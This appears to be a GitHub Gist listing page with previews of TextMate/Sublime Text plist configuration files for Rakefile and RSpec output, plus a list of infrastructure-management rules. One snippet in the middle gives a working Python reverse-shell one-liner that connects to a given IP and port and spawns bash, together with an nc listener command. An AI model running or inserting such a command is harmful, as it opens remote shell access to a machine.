Skip to content

Instantly share code, notes, and snippets.

@jguice
jguice / Rakefile.tmPreferences
Created May 16, 2015 16:58
Rakefile preferences (Textmate/Sublime Text) that will add rake tasks to the symbol list
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>name</key>
<string>Symbol List</string>
<key>scope</key>
<string>source.ruby.rakefile.task</string>
<key>settings</key>
<dict>
@jguice
jguice / Rakefile.tmLanguage
Last active September 28, 2017 00:35
Rakefile language definition file (Textmate/Sublime Text)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>fileTypes</key>
<array>
<string>rake</string>
<string>Rakefile</string>
</array>
<key>foldingStartMarker</key>
@jguice
jguice / CustomTestConsole.hidden-tmTheme
Last active October 24, 2015 02:05
Sublime Text 3 RubyTest custom tmTheme file (applies Twilight theme colors to rspec 3 output)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>name</key>
<string>TestConsoleTheme</string>
<key>settings</key>
<array>
<dict>
<key>settings</key>
@jguice
jguice / CustomTestConsole.tmLanguage
Last active October 24, 2015 02:05
Sublime Text 3 RubyTest custom tmLanguage file (allows coloring of more rspec 3 output)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<!-- TODO put most specific matchers first -->
<!-- TODO reorg, cleanup, and comment entries (e.g. which ones are for rspec 3, etc.) -->
<dict>
<key>bundleUUID</key>
<string>72174d10-bb12-11e0-962b-112233445566</string>
<key>name</key>
<string>TestConsole</string>
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
@serverhorror
serverhorror / rules_on_infrastructure.mdown
Created December 10, 2009 12:41 — forked from anonymous/gist:161265
Rules on Infrastructure

Rules

On Infrastructure

  • There is one system, not a collection of systems.
  • The desired state of the system should be a known quantity.
  • The "known quantity" must be machine parseable.
  • The actual state of the system must self-correct to the desired state.
  • The only authoritative source for the actual state of the system is the system.
anonymous
anonymous / gist:161265
Created August 4, 2009 14:09
== Rules ==
On Infrastructure
-----------------
There is one system, not a collection of systems.
The desired state of the system should be a known quantity.
The "known quantity" must be machine parseable.
The actual state of the system must self-correct to the desired state.
The only authoritative source for the actual state of the system is the system.
The entire system must be deployable using source media and text files.